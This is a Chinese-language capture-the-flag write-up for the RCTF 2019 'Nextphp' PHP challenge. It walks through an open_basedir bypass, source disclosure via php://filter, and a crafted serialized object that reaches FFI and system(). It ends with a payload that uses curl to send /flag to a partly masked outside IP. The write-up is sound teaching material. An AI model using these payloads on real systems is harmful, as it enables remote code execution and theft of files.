[web][RCTF 2019]Nextphp writeup
题目开始就给了webshell,看看phpinfo
/?a=phpinfo();
根目录没有权限读文件,可以用glob://伪协议绕过open_basedir
?a= $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
发现当前目录有个preload.php
/?a=print_r(scandir(%27.%27));
# Array ( [0] => . [1] => .. [2] => index.php [3] => preload.php )
利用文件包含读一下preload.php的源码(应该也可以利用highlight_file花式读源码)
?a=echo"hello";?><?php include($_GET['b']);&b=php://filter/read=convert.base64-encode/resource=preload.php
preload.php
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
在phpinfo里可以看到,php7.4利用php.ini开启opcache预加载(opcache.preload)
还开启了FFI
本来想直接利用ffi,但是会报错,看到mochazz大佬的博客明白了
所以在preload.php利用反序列化,借FFI接口调用system函数
php脚本
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(const char *command);'
];
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
}
$a = new A;
echo serialize($a);
# C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}
然后利用run方法执行,借ffi调用的system函数(其实我也不知道为啥利用ffi然后就有权限读/flag了)
payload
?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}');var_dump($a->ret->system('ls'));
但是他是没有回显的,反弹shell也报错,所以用curl将flag带出
?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}');print_r($a->ret->system('curl -d @/flag 106.xxxxxx:7895'));
像这种无回显的情况,也可以用重定向将根目录的flag写到www/var/html目录,直接访问查看
参考wp:https://blog.csdn.net/fmyyy1/article/details/116998001